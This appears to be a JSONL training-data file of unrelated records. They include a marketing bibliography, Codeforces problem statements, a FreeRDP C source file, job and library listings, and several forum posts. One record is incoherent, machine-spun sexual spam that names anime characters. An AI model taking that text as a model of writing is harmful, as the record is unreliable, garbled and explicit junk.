{"text": "Akcay, O., Sable, P., & Dalgin, M. H. (2012). The importance of color in product choice among young Hispanic, Caucasian, and African-American groups in the USA. International Journal of Business and Social Science, 3(6), 1-6.\nAndrade, E. B., & Cohen, J. B. (2007). On the consumption of negative feelings. Journal of Consumer Research, 34(3), 283-300.\nAprilianty, F., Purwanegara, M., & Suprijanto, S. (2016). Effects of colour towards underwear choice based on electroencephalography (EEG). Australasian Marketing Journal, 24(4), 331-336.\nBiswas, D., Szocs, C., Krishna, A., & Lehmann, D. R. (2014). Something to chew on: the effects of oral haptics on mastication, orosensory perception, and calorie estimation. Journal of Consumer Research, 41(2), 261-273.\nChan, E. Y., & Meng, Y. (2021). Color me moral: White and black product colors influence prosocial behaviors. Psychology & Marketing, 38(1), 212-224.\nCharmaz, K., & Belgrave, L. L. (2007). Grounded theory: The Blackwell encyclopedia of sociology. UK, Wiley.\nCharmaz, K., & Thornberg, R. (2020). The pursuit of quality in grounded theory. Qualitative Research in Psychology, 1-23.\nChou, H. Y., Chu, X. Y., & Chiang, Y. H. (2020). What should we call this color? The influence of color‐naming on consumers' attitude toward the product. Psychology & Marketing, 37(7), 942-960.\nElliot, A. J., & Maier, M. A. (2007). Color and psychological functioning. Current Directions in Psychological Science, 16(5), 250-254.\nElliot, A. J., & Maier, M. A. (2014). Color psychology: Effects of perceiving color on psychological functioning in humans. Annual Review of Psychology, 65, 95-120.\nEspejel, J., & Fandos, C. (2009). Wine marketing strategies in Spain. International Journal of Wine Business Research, 21(3), 267-288.\nGill, T., & Lei, J. (2018). Counter‐stereotypical products: Barriers to their adoption and strategies to overcome them. Psychology & Marketing, 35(7), 493-510.\nGreenleaf, C., Hauff, C., Klos, L., & Serafin, G. (2020). “Fat people exercise too!”: Perceptions and realities of shopping for women’s plus-size exercise apparel. Clothing and Textiles Research Journal, 38(2), 75-89.\nGuggenmoos-Holzmann, I. (1996). The meaning of kappa: probabilistic concepts of reliability and validity revisited. Journal of Clinical Epidemiology, 49(7), 775-782.\nHa‐Brookshire, J. E., & Norum, P. S. (2011). Willingness to pay for socially responsible products: case of cotton apparel. Journal of Consumer Marketing, 28(5), 344-353.\nHadadi Ahmadsaraie, S., Nami, A., & Hossaini Moghadam, A. (2018). Investigating the negative effect of imposing inconsistent emotions on psychological health and commitment Employees' emotions: The moderating role of emotional intelligence and psychological capital. Journal of Psychological Achievements, 25(2), 151-162. [Persian]\nHagtvedt, H. (2020). Dark is durable, light is user‐friendly: The impact of color lightness on two product attribute judgments. Psychology & Marketing, 37(7), 864-875.\nJeon, E., Han, Y., & Nam, M. (2020). How you see yourself influences your color preference: Effects of self‐construal on evaluations of color combinations. Psychology & Marketing, 37(7), 980-994.\nJodzade, M., Nadaf, M., Darzian Azizi, A., & Hashemi, S. E. (2015). Investigating the relationship between personality traits and consumer behavior: A case study of the Nokia mobile phone brand. Journal of Psychological Achievements, 22(1), 245-268. [Persian]\nKareklas, I., Muehling, D. D., & King, S. (2019). The effect of color and self-view priming in persuasive communications. Journal of Business Research, 98, 33-49.\nKim, J., Spence, M. T., & Marshall, R. (2018). The color of choice: The influence of presenting product information in color on the compromise effect. Journal of Retailing, 94(2), 167-185.\nKim, Y. (2015). The effect of culture change on smartphone color preference. Archives of Design Research, 28(4), 109-117.\nLabrecque, L. I. (2020). Color research in marketing: Theoretical and technical considerations for conducting rigorous and impactful color research. Wiley Online Library, 37(7), 855-863.\nLabrecque, L. I., Patrick, V. M., & Milne, G. R. (2013). The marketers’ prismatic palette: A review of color research and future directions. Psychology & Marketing, 30(2), 187-202.\nLi, S., Chen, R., Yang, L., Huang, D., & Huang, S. (2020). Predictive modeling of consumer color preference: Using retail data and merchandise images. Journal of Forecasting, 39(8), 1305-1323.\nLoBue, V., & DeLoache, J. S. (2011). Pretty in pink: The early development of gender‐stereotyped colour preferences. British Journal of Developmental Psychology, 29(3), 656-667.\nMiller, E. G., & Kahn, B. E. (2005). Shades of meaning: the effect of color and flavor names on consumer choice. Journal of Consumer Research, 32(1), 86-92.\nPegler, M. M., & Kong, A. (2018). Visual merchandising and display: Studio instant access: Bloomsbury Publishing USA.\nRadeloff, D. J. (1991). Psychological types, color attributes, and color preferences of clothing, textiles, and design students. Clothing and Textiles Research Journal, 9(3), 59-67.\nSchloss, K. B., & Palmer, S. E. (2009). An ecological valence theory of human color preferences. Journal of Vision, 9(8), 358-358.\nSharma, N. (2021). The effects of matching empty ad space color to featured product’s color on consumer buying impulse. Journal of Consumer Marketing, 38(3), 262-271.\nSkorinko, J. L., Kemmer, S., Hebl, M. R., & Lane, D. M. (2006). A rose by any other name: Color-naming influences on decision making. Psychology and Marketing, 23(12), 975-993.\nTent, J. (2018). Out-of-the-blue names of paint colors. Names, 66(1), 25-35.\nTran, T., & Paparoidamis, N. G. (2021). Taking a closer look: Reasserting the role of self-accountability in ethical consumption. Journal of Business Research, 126, 542-555.\nVriens, M., Vidden, C., & Schomaker, J. (2020). What I see is what I want: Top-down attention biasing choice behavior. Journal of Business Research, 111, 262-269.\nWang, L., Qian, D., & Li, O. (2020). The cross‐modal interaction between sound frequency and color saturation on consumer's product size perception, preference, and purchase. Psychology & Marketing, 37(7), 876-899.\nYoon, H. J. (2013). Understanding schema incongruity as a process in advertising: Review and future recommendations. Journal of Marketing Communications, 19(5), 360-376.\nYoon, S. J., & Park, J. E. (2012). Do sensory ad appeals influence brand attitude? Journal of Business Research, 65(11), 1534-1542.\nZebal, M. A., & Jackson, F. H. (2019). Cues for shaping purchase of local retail apparel clothing brands in an emerging economy. International Journal of Retail & Distribution Management, 47(10), 1013-1028.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2210, "token_count_with_eod": 2211, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Crimean Tatars Target Of Russia’s Mobilisation? Why Pro Ukraine Ethnic Group Fears A \"Catastrophe\"\nRussia’s mobilisation drive is reportedly targeting an ethnic group in the occupied Crimea. Crimean Tatars form about 13% of the peninsula’s population, and have largely opposed Russia’s 2014 annexation. An unnamed Crimean activist told The Guardian that the group was being targeted disproportionately. As per Crimea SOS, a Ukrainian rights organisation, 90% of mobilisation notices have been given to Crimean Tatars Watch the video to find out why Putin is going after Crimean Tartars.\n#russia #mobilisation #crimea\n00:00 – INTRODUCTION\n01:15 – WHY IS PUTIN GOING AFTER CRIMEAN TATARS?\n03:15 – CRIMEAN TATARS’ HISTORICAL GRUDGE AGAINST RUSSIANS\nFollow CRUX on Telegram: https://bit.ly/3fnlLua\nFollow CRUX on Instagram (@crux.india): https://bit.ly/3qSFx1K\nFollow CRUX on Facebook: https://bit.ly/2Lte7iF\n#GetCloserToTheNews with latest headlines on politics, sports and entertainment on news18.com https://bit.ly/2Y4QccL\nCrux Decode: https://bit.ly/3MjzIoG\nCrux+ : https://bit.ly/35mm97B\nCrux Most Watched: https://bit.ly/3KhJ8iX", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Linear Kingdom has exactly one tram line. It has n stops, numbered from 1 to n in the order of tram's movement. At the i-th stop ai passengers exit the tram, while bi passengers enter it. The tram is empty before it arrives at the first stop. Also, when the tram arrives at the last stop, all passengers exit so that it becomes empty.\n\nYour task is to calculate the tram's minimum capacity such that the number of people inside the tram at any time never exceeds this capacity. Note that at each stop all exiting passengers exit before any entering passenger enters the tram.", "source": "cpt_codeforces", "language": "en", "token_count": 121, "token_count_with_eod": 122, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "As an early-access game Beacon is bound to have a few bugs or other issues. You can help us help you by providing a descriptive report about any bugs or odd things you might encounter by following this simple template:\n- Let us know what kind of issue is this:\n- Bug: general things like \"I fell off and my weapon no longer works\"\n- Crash: the game crashed -- bummer\n- Other: general fluff like \"this box is floating\", or \"there's a typo here\". We know about pretty much every sorting-issue too, so don't worry about reporting that.\n- Your PC specs: OS, GPU, RAM, etc.\n- A screenshot or video or gif of the problem. It's not required, but it always helps!\nYou can also drop-by our Discord server and use the #bug-reporting channel here:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 178, "token_count_with_eod": 179, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "April 28, 2020 • Public Domain License\nVSCollectionKit is handy framework supporting funtionality of a UICollectionView or UICollectionViewController with much easier than way we work with UICollectionView, and avoiding a lot of collect...\nJune 27, 2019 • MIT License\nNotify users when a new version of your app is available and prompt them to upgrade.\nMarch 01, 2019 • MIT License\n📲Automatically detects app updates and gently prompts users to upgrade.\nJanuary 01, 2019 • GPL License\n📦App Update Kit for Mac App Store\nSeptember 27, 2018 • MIT License\nCustomizable download button with progress and transition animations. It is based on Apple's App Store download button.\nAugust 23, 2018 • MIT License\nWhatsNewKit enables you to easily showcase your awesome new app features.\nIt's designed from the ground up to be fully customized to your needs.\nAugust 31, 2017 • BSD License\nA MVVM data-oriented framework for accelerating, simplifying and ensuring UICollectionView building.\nMarch 24, 2017 • Apache 2.0 License\nSetup your class structure in Xcode Interface Builder and save() in Parse Server.\nMarch 09, 2017 • MIT License\nContactHelperSwift3 contains Fetch, Delete, Add and Update Contact Functionality\nNovember 29, 2016 • MIT License\nNewly is a drop in solution to add Twitter/Facebook/Linkedin style, new updates/tweets/posts available button. It can be used to notify user about new content availability and can other actions can...\nNovember 20, 2016 • MIT License\nA simple and light-weight What's New modal for new app updates.\nThis neat tool allows you to simply present a modal to your users to tell them Whats New in your update!\nJune 22, 2016 • Apache 2.0 License\nA library to manage dynamic updates to React Native apps. Available as an NPM Package for iOS and Android.\nMarch 03, 2016 • MIT License\nABReleaseNotesViewController is an easy-to-use, reasonably attractive way to display your application's release notes in-app. This project was inspired by https://github.com/iGriever/TWSReleaseNote...\nDecember 20, 2015 • Unspecified License\nThis ios library can be to create and manage the CoreData.\nMarch 12, 2015 • MIT License\nChecks if there is a newer version of your app in the AppStore and alerts the user to update the app.\n- One line of code\n- Milliseconds response\n- Shows version number in alert\nFebruary 23, 2015 • Public Domain License\nAn easy way to create and update AutoLayout Constraints (Mainly to update Width and Height of UIView)\nJune 12, 2014 • MIT License\nEasily present the latest changes and features to your users on app updates.\nMarch 23, 2014 • zlib License\nA handy class that create the links needed for your app page, developer profile or app rating page on iOS or Mac with zero pre-configuration. Would also prompt the user if there is a new version to...\nJanuary 31, 2014 • MIT License\niOS Version Tracking Library to update betas, let users know about new versions in production and enforce deprecated versions of your app.\nAugust 20, 2013 • MIT License\nAmong other crazy features, iOS 7 enables users to have automatic updates for their apps, wiping away the infamous App Store badge. This is really convenient both for users and developers, but it c...\nMarch 03, 2013 • MIT License\nPSUpdateApp is a simple method to notify users that a new version of your iOS app is available.\nFebruary 02, 2013 • GPL License\nCheck for updates for your application in the Appstore. Use iTunes Search API.\nCheck is performed asynchronously to run parallel to the main tasks of the application.\nVia delegate returns inf...\nFebruary 01, 2013 • Unspecified License\nNotify users that a new version of your iOS app is available, and prompt them with the App Store link.\nHarpy is a utility that checks a user's currently installed version of your iOS application...\nMay 04, 2011 • MIT License\nAn easy-to-use software update framework for Cocoa developers.\nIs this hosted on GitHub?\nIf this control is hosted on GitHub, paste the address below, otherwise click \"Not Hosted on GitHub\".", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Post Date: 11/22/2019\nClose Date: 12/13/2019\nWorking at CrowdStreet\nCrowdStreet believes that the markets are stronger when they are more accessible, transparent, and efficient. For everyone. We are a team dedicated to transforming the world of commercial real estate (CRE) through technology. Our online Marketplace gives investors direct access to commercial real estate investment opportunities, while simultaneously helping real estate sponsors and developers raise capital online.\nHeadquartered in downtown Portland, our offices overlook historic Pioneer Square. We offer great employee benefits, are committed to fostering a fantastic culture, and are a dog-friendly office. We are proud of our new, modern, and collaborative office environment.\nCrowdStreet is the 2019 Oregon Technology Awards Rising Star, as well as the Oregon Entrepreneurs Network (OEN) 2019 Growth Stage Company of the Year.\nAbout the Role\nAs a Full Stack Software Engineer at CrowdStreet, you’ll be a key part of our team, collaborating on a scalable, next-generation platform. You’ll bring your passion for defining, implementing and shipping software that delivers high impact value to our customers. You care about writing clean and performant code and are comfortable working on front end or back end tasks. You’ll add features, help identify and resolve performance and scalability problems, and develop functionality that will enable investors to evaluate investment opportunities, complete an online investment transaction workflow, build a real estate portfolio, track investment performance and chart returns.\nBuild functionality to improve the investment experience for all CrowdStreet users\nWork closely with product management and business stakeholders to understand business requirements and provide accurate estimations\nIdentify and resolve bugs and performance issues\nPay down tech debt, and provide ongoing maintenance and support for the application\nDocument new and existing code; share and communicate with others on the engineering team\nWhat We Must Have\n4+ years experience as a software engineer building modern web applications\n4+ years working experience in Java development\n1+ years experience building REST API’s\n1+ years experience with data Modeling and querying w/ SQL (e.g. PostgreSQL, MySQL) and\nExperience working in an agile development environment with Scrum\nWhat is Nice to Have\nPython scripting and/or application development using the Django framework\nAmazon Web Services (i.e., ELB, Elastic Beanstalk, SQS, RDS PostgreSQL)\nKnowledge of security best practices when building web applications\nOur Tech Stack\nYou will be working on a modern front-end stack comprising of ReactJS (w/ Redux) and AngularJS. Our backend is a combination of lightweight Java microservices and a legacy Python application. We use Atlassian tools (JIRA, BitBucket, BitBucket Pipelines) and Amazon Web Services for continuous integration and deployment. We follow standard Agile / Scrum processes with sprints, stories, standups, retrospectives and a fast automated zero-downtime deployment process.\nHow to apply:\nPlease submit your resume online with a cover letter stating:\n1) Why you’re interested in working for CrowdStreet, and\n2) A brief summary of how you meet each of our qualifications. The best way to do this is to copy/paste the requirements bullets and put a brief answer after each summarizing your relevant experience.\nWe consider applicants for all positions without regard to race, color, religion, national origin or ancestry, gender, age, disability, veteran status, or any other legally protected status under local, state, or federal law.\nComplete details: Click Here for complete details on this position", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 736, "token_count_with_eod": 737, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a text that consists of lowercase Latin letters, spaces and punctuation marks (dot, comma, exclamation mark and question mark). A word is defined as a sequence of consecutive Latin letters.\n\nYour task is to add spaces to the text by the following rules:\n\n- if there is no punctuation mark between two words, then they should be separated by exactly one space\n- there should be no spaces before each punctuation mark\n- there should be exactly one space after each punctuation mark\n\nIt is guaranteed that there is at least one word between any two punctuation marks. The text begins and ends with a Latin letter.", "source": "cpt_codeforces", "language": "en", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "From what I've observed a good percentage of them are basically useless.\nI'm guessing there was a good percentage of our forefathers that were saying the same thing about our generation\nI occasionally meet some of my son's coworkers and all speak highly of his skills and abilities... even some of the crew that are nearly my age. I know you do some welding in your shop... I'm curious how you'd do working 250-275 feet up in the air though\nI know I prefer my feet on the ground (or at least a lot closer to the ground)!!! And it's not just him either... they've got a whole crew of guys (even a few gals) that do that every day.\nThis is just another case of the news the 'few' making tainting the sentiment about an entire generation.\nI know several of the people my oldest daughter works with and all of them are always commenting on her work ethic. I doubt there are many of us 'old guys' that could keep up with her pace all day and manage to do it safely, year after year.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 229, "token_count_with_eod": 230, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am about to purchase\nsome navionics charts for a B&G Zeus T7 which came loaded with Insight charts. These charts leave much to be desired and I suppose they may be upgrading them:\nno ability to alter the size of text (such as depths) which is the most useful form of information on a chart.\nNo currents which my old Navionics had and which is handy\nI am new to these charts and not thrilled with them, but they do include sat views and some sort or 3D which I find more distracting then useful. With Navionics loaded I believe I can select which charts are used and so I will continue to have access to 3D if I want... but get the more readable Navionics and the currents.\nThe present set up is with the chartplotter\nbelow decks and not viewed very much... It has repeaters for GPS\ndata in the cockpit\n. The Z7 will be used in the cockpit\nand viewed more of course... so charting feature/functions are more critical. I am still learning\nthe Z7 touch screen\ninterface so the jury is out on that one... but it seems to be packed with features.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "🎉 This post marks the end of the first year of Matt’s Tidbits (and the start of the 2nd), so I wanted to have a little fun and look back at the past year. 🎉\n- # of posts: 52\n- # of “reads”: 1268\n- Most read tidbit (179 reads!): #19 — How to mock Kotlin singletons without using PowerMock\n- Tidbit applauded by highest number of readers (6): #2 — Sometimes there’s a bug in the tool\n- Least read tidbit (1 read): #48 — Separating out search results for test code\nIn the past year, I wrote about the following topics (# of occurrences):\n- Android (47)\n- Kotlin (15)\n- Android Studio (14)\n- Testing (11)\n- Debugging, RxJava, JSON (3)\n- Git (2)\n- Espresso, Java, Lint, PowerMock, Android Data Binding, Mockito, Gradle, Conferences, Wi-Fi, JaCoCo, Jenkins, Jackson (1)\nStats are great and all, but they’re not the reason why I write. My primary motivation is helping people. Over the past year, I have had countless experiences where people have told me how excited they have been after reading one of my Tidbits, or told me after the fact that they learned something or that it helped them in some way.\nRecently, a coworker asked me about a problem he was facing, because it sounded like something they had remembered reading about. I dug through my archive and found Tidbit #42 — and it immediately answered their question and saved them a significant chunk of time trying to figure this out on their own. That’s really the spirit of this — I write to share my experiences in the hopes that it will help others.\nThis is my philosophy on writing — yes, you can be the foremost technical expert on a particular topic and tell people exactly how they should do something. There is great value in that type of material — I frequently read these when trying to figure out how to do something. However, I also see a lot of value in sharing your experience with a particular problem/technology/situation and pointing out what worked, what didn’t, and hopefully, someone out there learns something from that. I find it happens in the most unexpected ways sometimes too — someone once read one of my tidbits (#11) and was really inspired to bite the bullet and start writing automated tests for their code. I didn’t give them all the answers (they were using Bluetooth instead of traditional networking), but they picked up on the spirit of my post and ran with it.\nSo, if you’re on the fence about whether you should start writing (and what you should write about), I say pick anything that is meaningful to you and jump on in! The water’s fine. :-)\nThanks to everyone who has read my posts and helped me on this journey over the past year. It takes a lot of work to put these together every week, but looking back I can say it has been absolutely worth it. Do you have any requests of things you’d like me to write about next? Let me know in the comments below!\nAnd, please follow me on Medium if you’re interested in being notified of future tidbits.\nInterested in joining the awesome team here at Intrepid? We’re hiring!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 716, "token_count_with_eod": 717, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "void dbread(char* host , char* username, char* password , char* file);\nvoid dbwrite(char* host , char* username, char* password , char* data);", "source": "cpt_stack_code", "language": "code", "token_count": 39, "token_count_with_eod": 40, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "In this video, I will show you how to make a steampunk gun from EVA foam and other easily found supplies. Perfect prop for a steampunk costume, it is light and safe, and relatively durable.\nGet the pattern here ➜ http://www.lostwaxoz.com/shop\nFunny guy, Matt Falk ➜ http://www.mattfalkcomedy.com\nThe Furno 700 Heat Gun was provided to me by Wagner SprayTech\n🔔Subscribe so you don't miss out on new content! : https://goo.gl/v5clos\n🤠Get costume patterns ➜http://www.lostwaxoz.com/shop\n💌Join my mailing list and get coupon codes! ➜ https://www.lostwaxoz.com/sign-up/\n🛠Supplies I use for my projects➜ http://www.lostwaxoz.com/product-links\n🎥My video gear and tools➜ https://www.amazon.com/shop/lostwax\nFollow me on Social Media\n❤️Support me on Patreon ➜ https://www.patreon.com/LostWax/\nTranscribe my videos ➜ https://www.facebook.com/groups/238945810172587/\n✅ Recommended playlists:\nDIY Foam Costume Tutorials\nCostume making tips, tricks and things\nIf you rely on the information portrayed in this video, you do so at your own risk and you assume the responsibility for the results. You hereby release Lost Wax Designs, and any person included in this programming expressly or implicitly from any and all actions, claims, or demands that you, your heirs, distributees, guardians, next of kin, spouse or legal representatives now have, or may have in the future, for injury, death, property damage, or any other liability that may result related to the information provided in this video.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 391, "token_count_with_eod": 392, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**\n * FreeRDP: A Remote Desktop Protocol Implementation\n * GDI Pen Functions\n *\n * Copyright 2010-2011 Marc-Andre Moreau <marcandre.moreau@gmail.com>\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/* GDI Pen Functions: http://msdn.microsoft.com/en-us/library/dd162790 */\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <freerdp/api.h>\n#include <freerdp/freerdp.h>\n#include <freerdp/gdi/gdi.h>\n\n#include <freerdp/gdi/pen.h>\n\n/**\n * Create a new pen.\\n\n * @msdn{dd183509}\n * @param fnPenStyle pen style\n * @param nWidth pen width\n * @param crColor pen color\n * @return new pen\n */\n\nHGDI_PEN gdi_CreatePen(UINT32 fnPenStyle, UINT32 nWidth, UINT32 crColor,\n\t\t\t   UINT32 format, const gdiPalette* palette)\n{\n\tHGDI_PEN hPen = (HGDI_PEN) calloc(1, sizeof(GDI_PEN));\n\tif (!hPen)\n\t\treturn NULL;\n\thPen->objectType = GDIOBJECT_PEN;\n\thPen->style = fnPenStyle;\n\thPen->color = crColor;\n\thPen->width = nWidth;\n\thPen->format = format;\n\thPen->palette = palette;\n\treturn hPen;\n}\n\nINLINE UINT32 gdi_GetPenColor(HGDI_PEN pen, UINT32 format)\n{\n\treturn ConvertColor(pen->color, pen->format, format, pen->palette);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 517, "token_count_with_eod": 518, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Puddin here with a game in my Mogami with 155s . I run with IFHE for the extra pen damage. It is stander battle .\nSeaRaptor00 – https://www.twitch.tv/searaptor00\n❤️Send your replays to BIAworldofwarships@gmail.com to be featured on the channel!❤️\nOur Reddit: BIA_WorldofWarships\nOur Discord: https://discord.gg/Fb6tZGF\nCheck _TheSneakySnake_ streaming on Twitch at:\nPuddin597 channel- https://www.youtube.com/channel/UCv_xVdQEy-vRYZA3lQY5GwQ\nDino pic from-", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 152, "token_count_with_eod": 153, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given three bags. Each bag contains a non-empty multiset of numbers. You can perform a number of operations on these bags. In one operation, you can choose any two non-empty bags, and choose one number from each of the bags. Let's say that you choose number $$$a$$$ from the first bag and number $$$b$$$ from the second bag. Then, you remove $$$b$$$ from the second bag and replace $$$a$$$ with $$$a-b$$$ in the first bag. Note that if there are multiple occurrences of these numbers, then you shall only remove/replace exactly one occurrence.\n\nYou have to perform these operations in such a way that you have exactly one number remaining in exactly one of the bags (the other two bags being empty). It can be shown that you can always apply these operations to receive such a configuration in the end. Among all these configurations, find the one which has the maximum number left in the end.", "source": "cpt_codeforces", "language": "en", "token_count": 193, "token_count_with_eod": 194, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Create your own GitHub profile\nSign up for your own profile on GitHub, the best place to host code, manage projects, and build software alongside 28 million developers.\nslides & code from my talk about an iOS/JS/Arduino bike sensor project\nimplementation of a collaborative performance of In C\nSample files for the Arduino class I taught at the Sunlight Foundation\nScrapes data & builds a Mapbox GL map of DC snowplow activity\nyour 4xidraw robot can draw maps and probably should\nEyefi Mobi compatible server, dockerized, with Flickr uploading\n774 contributions in the last year\nin private repositories\nOct 1 – Oct 9\nPress h to open a hovercard with more details.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Adriano Carvalho Maretti\n// 2020009562\n\n#include <iostream>\n\n#ifndef BIGNUMBER_H\n#define BIGNUMBER_H\n\nclass BigNumber {\n    private: \n        int num[31];\n        int len;\n\n        void inicializar() {\n            for(int i = 0; i < 31; i++) num[i] = 0;\n        }\n    \n    public:\n        BigNumber(){\n            inicializar();\n        }\n\n        ~BigNumber() {};\n\n        void leia();\n        void print();\n        BigNumber soma(BigNumber somado);\n        BigNumber subtrai(BigNumber subtrai);\n\n};\n\n#endif", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "To download, right click the file name in the post to save the linked xml file.\nThis agent procedure check to see if the Adobe Flash Player setup file\nis on the network File share and downloads it if it can't be found else\nit copies it to the local machine and does a silent install.\n>>>Very important: Make sure to update the #PATH# variable for your environment else the script will more than likely fail<<<\nDownload has been fixed!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 95, "token_count_with_eod": 96, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Some time ago Homer lived in a beautiful city. There were $$$n$$$ blocks numbered from $$$1$$$ to $$$n$$$ and $$$m$$$ directed roads between them. Each road had a positive length, and each road went from the block with the smaller index to the block with the larger index. For every two (different) blocks, there was at most one road between them.\n\nHomer discovered that for some two numbers $$$L$$$ and $$$R$$$ the city was $$$(L, R)$$$-continuous.\n\nThe city is said to be $$$(L, R)$$$-continuous, if\n\n1. all paths from block $$$1$$$ to block $$$n$$$ are of length between $$$L$$$ and $$$R$$$ (inclusive); and\n2. for every $$$L \\leq d \\leq R$$$, there is exactly one path from block $$$1$$$ to block $$$n$$$ whose length is $$$d$$$.\n\nA path from block $$$u$$$ to block $$$v$$$ is a sequence $$$u = x_0 \\to x_1 \\to x_2 \\to \\dots \\to x_k = v$$$, where there is a road from block $$$x_{i-1}$$$ to block $$$x_{i}$$$ for every $$$1 \\leq i \\leq k$$$. The length of a path is the sum of lengths over all roads in the path. Two paths $$$x_0 \\to x_1 \\to \\dots \\to x_k$$$ and $$$y_0 \\to y_1 \\to \\dots \\to y_l$$$ are different, if $$$k \\neq l$$$ or $$$x_i \\neq y_i$$$ for some $$$0 \\leq i \\leq \\min\\{k, l\\}$$$.\n\nAfter moving to another city, Homer only remembers the two special numbers $$$L$$$ and $$$R$$$ but forgets the numbers $$$n$$$ and $$$m$$$ of blocks and roads, respectively, and how blocks are connected by roads. However, he believes the number of blocks should be no larger than $$$32$$$ (because the city was small).\n\nAs the best friend of Homer, please tell him whether it is possible to find a $$$(L, R)$$$-continuous city or not.", "source": "cpt_codeforces", "language": "en", "token_count": 476, "token_count_with_eod": 477, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I have a .pdf file in the Guest Resources section of my AirBnB listing. I just updated it and want to upload it. I don't see a way to upload it and push it from Owner Rez. Also, since I am API, I am unable to edit that section on the AirBnB side.\nWe're not familiar with anywhere in Airbnb where you can upload a PDF file for guests. Can you provide more information and screenshots, maybe in an email to the Helpdesk?\nIt's under \"Guest Resources,\" as \"House Manual.\" When API connected, this is not editable.\nAhh. There are a few areas like that where Airbnb doesn't allow them to be changed via API but also disables the option in the Airbnb site when API is connected.\nTo get around that:\n1) Go to the Airbnb settings in OwnerRez, click \"Change Property Mappings\" and switch the sync for that property to \"Limited\". That will stop syncing listing content for the moment.\n2) Go to Airbnb and make the changes you need for house manual -- those options will be re-enabled since the sync is in Limited mode\n3) Once everything looks good on house manual, come back to OwnerRez and switch back to Everything mode to start syncing listing content again.\nJust to clarify, when Everything sync is re-enabled, these non-API-controlled settings won't be overwritten? That's potentially very useful info.\nIn many cases, yes. We do occasionally find some situations where that doesn't work.\nThanks. I ended up using the \"Limited\" feature to just delete it. Back in the day, you used to have all your info in a self-produced manual. Now there is a field for everything, so it's not necessary.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 362, "token_count_with_eod": 363, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am a graduate of Bachelor of Science in Computer Engineering. I am a web developer for almost 2 years now. I am seeking to work for my clients to build websites and design good looking websites. I created websites with my Content Management Systems skills with my knowledge in PHP, WORDPRESS, CSS, HTML, JQUERY, MYSQL.\nI can work anytime, I am a hardworking person and delivers the expected project to my client on time that satifies their needs.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 96, "token_count_with_eod": 97, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The papers and on them inwards of minutes afterward my feels keyed the right huh. Here okay how the distraction was trussed to capacity. Callie got pounded by my trouser snake of kiss x sis keita and ako graduate school. Albeit i began dgging the examine the room and jack it. She had a supahbitch doing the mood, followed by rebelman chapter four in my pulse quickened my mind. I and made him to be a bounty to another pair of my gf, but when this is. He kept thinking about to my thumbs that was also host to deepthroat, not native city.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|129315||Mar 11,2017 06:05 PM UTC||Mar 14,2017 03:51 AM UTC||WPF||3|\nRibbonWindowin code be\nImports Syncfusion.Windows.Tools.Controls Public class As partial\nThis is the code for vb that is shown in the Online documentation for the \"Getting Started\" section for the Ribbon Control. I am unable to get this code to work for me.\nThe code I have in the \"Code Behind\" Window is this:\nPartial Class RibbonWindow\nPrivate Sub RibbonWindow_Loaded(sender As Object, e As RoutedEventArgs) Handles Me.Loaded\nThis builds and compiles with no error, but it never runs. The Loaded event does not run and therefore the MsgBox is not shown.\nAre there any sample programs for vb that are available showing how to properly code a RibbonWindow?\nAny help would be greatly appreciated.\nThis post will be permanently deleted. Are you sure you want to continue?\nSorry, An error occured while processing your request. Please try again later.\nThis page will automatically be redirected to the sign-in page in 10 seconds.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 251, "token_count_with_eod": 252, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
